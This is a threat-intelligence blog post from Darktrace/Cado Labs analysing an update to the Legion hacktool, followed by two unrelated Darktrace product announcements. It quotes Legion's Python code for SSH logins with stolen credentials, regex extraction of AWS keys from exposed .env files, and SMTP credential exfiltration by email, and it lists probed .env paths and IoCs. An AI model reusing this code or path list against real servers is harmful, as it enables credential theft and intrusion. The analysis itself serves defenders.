Blog
/
Cloud
/
May 24, 2023

Updates to Legion: A Cloud Credential Harvester and SMTP Hijacker

Cado Labs (now part of Darktrace) discovered an updated version of the Legion hacktool. This new iteration has enhanced capabilities, including SSH abuse and exploiting additional AWS services like DynamoDB, CloudWatch, and AWS Owl, by harvesting credentials from misconfigured web servers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
24
May 2023

Introduction: A cloud credential harvester and SMTP Hijacker

Cado Security Labs (now part of Darktrace) discovered and reported [1] on an emerging cloud-focused hacktool, designed to harvest credentials from misconfigured web servers and leverage these credentials for email abuse. The tool was named ‘Legion’ by its developers and was distributed and marketed in various public groups and channels within the Telegram messaging service.  

In early 2023, Cado researchers encountered what is believed to be an updated version of this commodity malware, with some additional functionality of interest to cloud security professionals.

SSH abuse

In the sample [2] of Legion previously analyzed by Cado, the developers included code within a class named ‘legion’ to parse a list of exfiltrated database credentials and extract username and password pairs. The function then attempted to use these credentials in combination with a matching host value to log in to the host via SSH - assuming that these credentials were being reused across services.  

To achieve this within Python, the Paramiko library (a Python implementation of the SSHv2 protocol) was used. However, in the original sample of Legion, the import of Paramiko was commented out, making the code leveraging it redundant. In Legion’s most recent update, it appears that this functionality has been enabled.

if db_user and db_pass: 
	connected = 0 
	ssh = paramiko.SSHClient() 
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
	try: 
		ssh.connect(host, 22, db_user, db_pass, timeout=3) 
		fp = open('Results/!Vps.txt', 'a+') 
		build = str(host)+'|'+str(db_user)+'|'+str(db_pass)+'\n' 
		remover = str(build).replace('\r', '') 
		fp.write(remover + '\n\n') 
		fp.close() 
		connected += 1 
	except: 
		pass 
	finally: 
		if ssh: 
			ssh.close() 

Python snippet of Legion’s SSH connection code

Exploiting additional cloud services

Legion’s credential gathering capabilities were discussed at length in Cado’s previous blog on the topic. Essentially, the malware hunts for environment variable files in misconfigured web servers running PHP frameworks such as Laravel. Legion attempts to access these .env files by enumerating the target server with a list of hardcoded paths in which these environment variable files typically reside. If these paths are publicly accessible, due to misconfigurations, the files are saved and a series of regular expressions are run over their contents.  

From the searches performed on the environment variable files, it’s easy to determine the services the malware attempts to retrieve credentials for. In the updated version of Legion, the malware can be seen searching for credentials specific to the following services/technologies:

  • DynamoDB
  • Amazon CloudWatch
  • AWS Owl

For CloudWatch specifically, the malware searches for the environment variable CLOUDWATCH_LOG_KEY. This variable name appears in the documentation for public Laravel projects, including a project [3] for handling CloudWatch logging in Laravel. This fits with Legion’s capabilities, as the tool’s credential harvesting feature targets Laravel apps.

elif "CLOUDWATCH_LOG_KEY" in str(text): 
	if "CLOUDWATCH_LOG_KEY=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nCLOUDWATCH_LOG_KEY=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nCLOUDWATCH_LOG_SECRET=(.*?)\n", text)[0] 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of CLOUDWATCH_LOG_KEY

elif "AWSOWL_ACCESS_KEY_ID" in str(text): 
	if "AWSOWL_ACCESS_KEY_ID=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nAWSOWL_ACCESS_KEY_ID=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nAWSOWL_SECRET_ACCESS_KEY=(.*?)\n", tex 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of AWSOWL_ACCESS_KEY_ID and AWS_OWL_SECRET_ACCESS_KEY

Miscellaneous updates

Aside from general refactoring, the Legion developers have made some additional updates to the hacktool.

One such update is a change to the subject line of test emails sent by the malware, which now include a reference to “King Forza”. The Forza name was also used in a YouTube channel linked by Cado researchers to the operators of the Legion malware.

smtp_server = str(mailhost) 
login = str(mailuser.replace('"', ''))  # paste your login generated by Mailtrap 
password = str(mailpass.replace('"', '')) # paste your password generated by Mailtrap 
receiver_email = emailnow 
message = MIMEMultipart('alternative') 
message['Subject'] = f'King Forza SMTP | {mailhost} ' 
message['From'] = sender_email 
message['To'] = receiver_email 
text = '        ' 
html = f" <h3>King Forza smtps! - SMTP Data for you!</h3><br>{mailhost} <br><br><h5>Mailer King with from</h5><br>==================<br><i>{mailhost}:{mailport}:{mailuser}:{mailpass}:{mailfrom}:ssl::::0:</i><br>==================<br><br><h5>Mailer king Normal</h5><br>==================<br>{mailhost}:{mailport}:{mailuser}:{mailpass}::ssl::::0:<br>==================<br><br>        " 
part1 = MIMEText(text, 'plain') 
part2 = MIMEText(html, 'html') 
message.attach(part1) 
message.attach(part2) 

Snippet showing updated subject line, including Forza name

Another update included adding additional paths to enumerate for the existence of .env files. The new paths can be seen below:

/lib/.env

/lab/.env

/cronlab/.env

/cron/.env

/core/app/.env

/core/Datavase/.env (sic)

/database/.env

/config/.env

/apps/.env

/uploads/.env

/sitemaps/.env

/saas/.env

/api/.env

/psnlink/.env

/exapi/.env

/site/.env

/web/.env

/en/.env

/tools/.env

/v1/.env

/v2/.env

/administrator/.env

Conclusion

Legion is an actively developed hacktool, specifically designed to exploit vulnerable web applications in an attempt to harvest credentials. Legion focuses primarily on retrieving credentials for SMTP and SMS abuse. However, this recent update demonstrates a widening of scope, with new capabilities such as the ability to compromise SSH servers and retrieve additional AWS-specific credentials from Laravel web applications. It’s clear that the developer’s targeting of cloud services is advancing with each iteration.

Detection and prevention advice remains consistent with Cado’s previous blog on this malware family. Misconfigurations in web applications are still the primary method used by Legion to retrieve credentials. Therefore, it’s recommended that developers and administrators of web applications regularly review access to resources within the applications themselves, and seek alternatives to storing secrets in environment files.  

Indicators of compromise (IoCs)

Filename - SHA256

og.py - 6f059c2abf8517af136503ed921015c0cd8859398ece7d0174ea5bf1e06c9ada

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

References

  1. www.darktrace.com/blog/legion-an-aws-credential-harvester-and-smtp-hijacker  
  1. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a/detection
  1. https://github.com/pagevamp/laravel-cloudwatch-logs/tree/master

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

Proactive Security

/

October 24, 2025

Patch Smarter, Not Harder: Now Empowering Security Teams with Business-Aligned Threat Context Agents

Patch Smarter, Not Harder: Now Empowering Security Teams with Business-Aligned Threat Context Agents Default blog imageDefault blog image

Most risk management programs remain anchored in enumeration: scanning every asset, cataloging every CVE, and drowning in lists that rarely translate into action. Despite expensive scanners, annual pen tests, and countless spreadsheets, prioritization still falters at two critical points.

Context gaps at the device level: It’s hard to know which vulnerabilities actually matter to your business given existing privileges, what software it runs, and what controls already reduce risk.

Business translation: Even when the technical priority is clear, justifying effort and spend in financial terms—especially across many affected devices—can delay action. Especially if it means halting other areas of the business that directly generate revenue.

The result is familiar: alert fatigue, “too many highs,” and remediation that trails behind the threat landscape. Darktrace / Proactive Exposure Management addresses this by pairing precise, endpoint‑level context with clear, financial insight so teams can prioritize confidently and mobilize faster.

A powerful combination: No-Telemetry Endpoint Agent + Cost-Benefit Analysis

Darktrace / Proactive Exposure Management now uniquely combines technical precision with business clarity in a single workflow.  With this release, Darktrace / Proactive Exposure Management delivers a more holistic approach, uniting technical context and financial insight to drive proactive risk reduction. The result is a single solution that helps security teams stay ahead of threats while reducing noise, delays, and complexity.

  • No-Telemetry Endpoint: Collects installed software data and maps it to known CVEs—without network traffic—providing device-level vulnerability context and operational relevance.
  • Cost-Benefit Analysis for Patching: Calculates ROI by comparing patching effort with potential exploit impact, factoring in headcount time, device count, patch difficulty, and automation availability.

Introducing the No-Telemetry Endpoint Agent

Darktrace’s new endpoint agent inventories installed software on devices and maps it to known CVEs without collecting network data so you can prioritize using real device context and available security controls.

By grounding vulnerability findings in the reality of each endpoint, including its software footprint and existing controls, teams can cut through generic severity scores and focus on what matters most. The agent is ideal for remote devices, BYOD-adjacent fleets, or environments standardizing on Darktrace, and is available without additional licensing cost.

Darktrace / Proactive Exposure Management user interface
Figure 1: Darktrace / Proactive Exposure Management user interface

Built-In Cost-Benefit Analysis for Patching

Security teams often know what needs fixing but stakeholders need to understand why now. Darktrace’s new cost-benefit calculator compares the total cost to patch against the potential cost of exploit, producing an ROI for the patch action that expresses security action in clear financial terms.

Inputs like engineer time, number of affected devices, patch difficulty, and automation availability are factored in automatically. The result is a business-aligned justification for every patching decision—helping teams secure buy-in, accelerate approvals, and move work forward with one-click ticketing, CSV export, or risk acceptance.

Darktrace / Proactive Exposure Management Cost Benefit Analysis
Figure 2: Darktrace / Proactive Exposure Management Cost Benefit Analysis

A Smarter, Faster Approach to Exposure Management

Together, the no-telemetry endpoint and Cost–Benefit Analysis advance the CTEM motion from theory to practice. You gain higher‑fidelity discovery and validation signals at the device level, paired with business‑ready justification that accelerates mobilization. The result is fewer distractions, clearer priorities, and faster measurable risk reduction. This is not from chasing every alert, but by focusing on what moves the needle now.

  • Smarter Prioritization: Device‑level context trims noise and spotlights the exposures that matter for your business.
  • Faster Decisions: Built‑in ROI turns technical urgency into executive clarity—speeding approvals and action.
  • Practical Execution: Privacy‑conscious endpoint collection and ticketing/export options fit neatly into existing workflows.
  • Better Outcomes: Close the loop faster—discover, prioritize, validate, and mobilize—on the same operating surface.

Committed to innovation

These updates are part of the broader Darktrace release, which also included:

1. Major innovations in cloud security with the launch of the industry’s first fully automated cloud forensics solution, reinforcing Darktrace’s leadership in AI-native security.

2. Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.

3. Improvements to our OT product, purpose built for industrial infrastructure, Darktrace / OT now brings dedicated OT dashboard, segmentation-aware risk modeling, and expanded visibility into edge assets and automation protocols.

Join our Live Launch Event

When? 

December 9, 2025

What will be covered?

Join our live broadcast to experience how Darktrace is eliminating blind spots for detection and response across your complete enterprise with new innovations in Agentic AI across our ActiveAI Security platform. Industry leaders from IDC will join Darktrace customers to discuss challenges in cross-domain security, with a live walkthrough reshaping the future of Network Detection & Response, Endpoint Detection & Response, Email Security, and SecOps in novel threat detection and autonomous investigations.

Continue reading
About the author
Kelland Goodin
Product Marketing Specialist

Blog

/

Proactive Security

/

October 24, 2025

Darktrace Announces Extended Visibility Between Confirmed Assets and Leaked Credentials from the Deep and Dark Web

Darktrace Announces Extended Visibility Between Confirmed Assets and Leaked Credentials from the Deep and Dark Web Default blog imageDefault blog image

Why exposure management needs to evolve beyond scans and checklists

The modern attack surface changes faster than most security programs can keep up. New assets appear, environments change, and adversaries are increasingly aided by automation and AI. Traditional approaches like periodic scans, static inventories, or annual pen tests are no longer enough. Without a formal exposure program, many businesses are flying blind, unaware of where the next threat may emerge.

This is where Continuous Threat Exposure Management (CTEM) becomes essential. Introduced by Gartner, CTEM helps organizations continuously assess, validate, and improve their exposure to real-world threats. It reframes the problem: scope your true attack surface, prioritize based on business impact and exploitability, and validate what attackers can actually do today, not once a year.

With two powerful new capabilities, Darktrace / Attack Surface Management helps organizations evolve their CTEM programs to meet the demands of today’s threat landscape. These updates make CTEM a reality, not just a strategy.

Too much data, not enough direction

Modern Attack Surface Management tools excel at discovering assets such as cloud workloads, exposed APIs, and forgotten domains. But they often fall short when it comes to prioritization. They rely on static severity scores or generic CVSS ratings, which do not reflect real-world risk or business impact.

This leaves security teams with:

  • Alert fatigue from hundreds of “critical” findings
  • Patch paralysis due to unclear prioritization
  • Blind spots around attacker intent and external targeting

CISOs need more than visibility. They need confidence in what to fix first and context to justify those decisions to stakeholders.

Evolving Attack Surface Management

Attack Surface Management (ASM) must evolve from static lists and generic severity scores to actionable intelligence that helps teams make the right decision now.

Joining the recent addition of Exploit Prediction Assessment, which debuted in late June 2025, today we’re introducing two capabilities that push ASM into that next era:

  • Exploit Prediction Assessment: Continuously validates whether top-priority exposures are actually exploitable in your environment without waiting for patch cycles or formal pen tests.  
  • Deep & Dark Web Monitoring: Extends visibility across millions of sources in the deep and dark web to detect leaked credentials linked to your confirmed domains.
  • Confidence Score: our newly developed AI classification platform will compare newly discovered assets to assets that are known to belong to your organization. The more these newly discovered assets look similar to assets that belong to your organization, the higher the score will be.

Together, these features compress the window from discovery to decision, so your team can act with precision, not panic. The result is a single solution that helps teams stay ahead of attackers without introducing new complexities.

Exploit Prediction Assessment

Traditional penetration tests are invaluable, but they’re often a snapshot of that point-in-time, are potentially disruptive, and compliance frameworks still expect them. Not to mention, when vulnerabilities are present, teams can act immediately rather than relying solely on information from CVSS scores or waiting for patch cycles.  

Unlike full pen tests which can be obtrusive and are usually done only a couple times per year, Exploit Prediction Assessment is surgical, continuous, and focused only on top issues Instead of waiting for vendor patches or the next pen‑test window. It helps confirm whether a top‑priority exposure is actually exploitable in your environment right now.  

For more information on this visit our blog: Beyond Discovery: Adding Intelligent Vulnerability Validation to Darktrace / Attack Surface Management

Deep and Dark Web Monitoring: Extending the scope

Customers have been asking for this for years, and it is finally here. Defense against the dark web. Darktrace / Attack Surface Management’s reach now spans millions of sources across the deep and dark web including forums, marketplaces, breach repositories, paste sites, and other hard‑to‑reach communities to detect leaked credentials linked to your confirmed domains.  

Monitoring is continuous, so you’re alerted as soon as evidence of compromise appears. The surface web is only a fraction of the internet, and a sizable share of risk hides beyond it. Estimates suggest the surface web represents roughly ~10% of all online content, with the rest gated or unindexed—and the TOR-accessible dark web hosts a high proportion of illicit material (a King’s College London study found ~57% of surveyed onion sites contained illicit content), underscoring why credential leakage and brand abuse often appear in places traditional monitoring doesn’t reach. Making these spaces high‑value for early warning signals when credentials or brand assets appear. Most notably, this includes your company’s reputation, assets like servers and systems, and top executives and employees at risk.

What changes for your team

Before:

  • Hundreds of findings, unclear what to start with
  • Reactive investigations triggered by incidents

After:

  • A prioritized backlog based on confidence score or exploit prediction assessment verification
  • Proactive verification of exposure with real-world risk without manual efforts

Confidence Score: Prioritize based on the use-case you care most about

What is it?

Confidence Score is a metric that expresses similarity of newly discover assets compared to the confirmed asset inventory. Several self-learning algorithms compare features of assets to be able to calculate a score.

Why it matters

Traditional Attack Surface Management tools treat all new discovery equally, making it unclear to your team how to identify the most important newly discovered assets, potentially causing you to miss a spoofing domain or shadow IT that could impact your business.

How it helps your team

We’re dividing newly discovered assets into separate insight buckets that each cover a slightly different business case.

  • Low scoring assets: to cover phishing & spoofing domains (like domain variants) that are just being registered and don't have content yet.
  • Medium scoring assets: have more similarities to your digital estate, but have better matching to HTML, brand names, keywords. Can still be phishing but probably with content.
  • High scoring assets: These look most like the rest of your confirmed digital estate, either it's phishing that needs the highest attention, or the asset belongs to your attack surface and requires asset state confirmation to enable the platform to monitor it for risks.

Smarter Exposure Management for CTEM Programs

Recent updates to Darktrace / Attack Surface Management directly advance the core phases of Continuous Threat Exposure Management (CTEM): scope, discover, prioritize, validate, and mobilize. The new Exploit Prediction Assessment helps teams validate and prioritize vulnerabilities based on real-world exploitability, while Deep & Dark Web Monitoring extends discovery into hard-to-reach areas where stolen data and credentials often surface. Together, these capabilities reduce noise, accelerate remediation, and help organizations maintain continuous visibility over their expanding attack surface.

Building on these innovations, Darktrace / Attack Surface Management empowers security teams to focus on what truly matters. By validating exploitability, it cuts through the noise of endless vulnerability lists—helping defenders concentrate on exposures that represent genuine business risk. Continuous monitoring for leaked credentials across the deep and dark web further extends visibility beyond traditional asset discovery, closing critical blind spots where attackers often operate. Crucially, these capabilities complement, not replace, existing security controls such as annual penetration tests, providing continuous, low-friction validation between formal assessments. The result is a more adaptive, resilient security posture that keeps pace with an ever-evolving threat landscape.

If you’re building or maturing a CTEM program—and want fewer open exposures, faster remediation, and better outcomes, Darktrace / Attack Surface Management’s new Exploit Prediction Assessment and Deep & Dark Web Monitoring are ready to help.

  • Want a more in-depth look at how Exploit Prediction Assessment functions? Read more here

Committed to innovation

These updates are part of the broader Darktrace release, which also included:

1. Major innovations in cloud security with the launch of the industry’s first fully automated cloud forensics solution, reinforcing Darktrace’s leadership in AI-native security.

2. Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.

3. Improvements to our OT product, purpose built for industrial infrastructure, Darktrace / OT now brings dedicated OT dashboard, segmentation-aware risk modeling, and expanded visibility into edge assets and automation protocols.

Join our Live Launch Event

When? 

December 9, 2025

What will be covered?

Join our live broadcast to experience how Darktrace is eliminating blind spots for detection and response across your complete enterprise with new innovations in Agentic AI across our ActiveAI Security platform. Industry leaders from IDC will join Darktrace customers to discuss challenges in cross-domain security, with a live walkthrough reshaping the future of Network Detection & Response, Endpoint Detection & Response, Email Security, and SecOps in novel threat detection and autonomous investigations.

Continue reading
About the author
Kelland Goodin
Product Marketing Specialist
Your data. Our AI.
Elevate your network security with Darktrace AI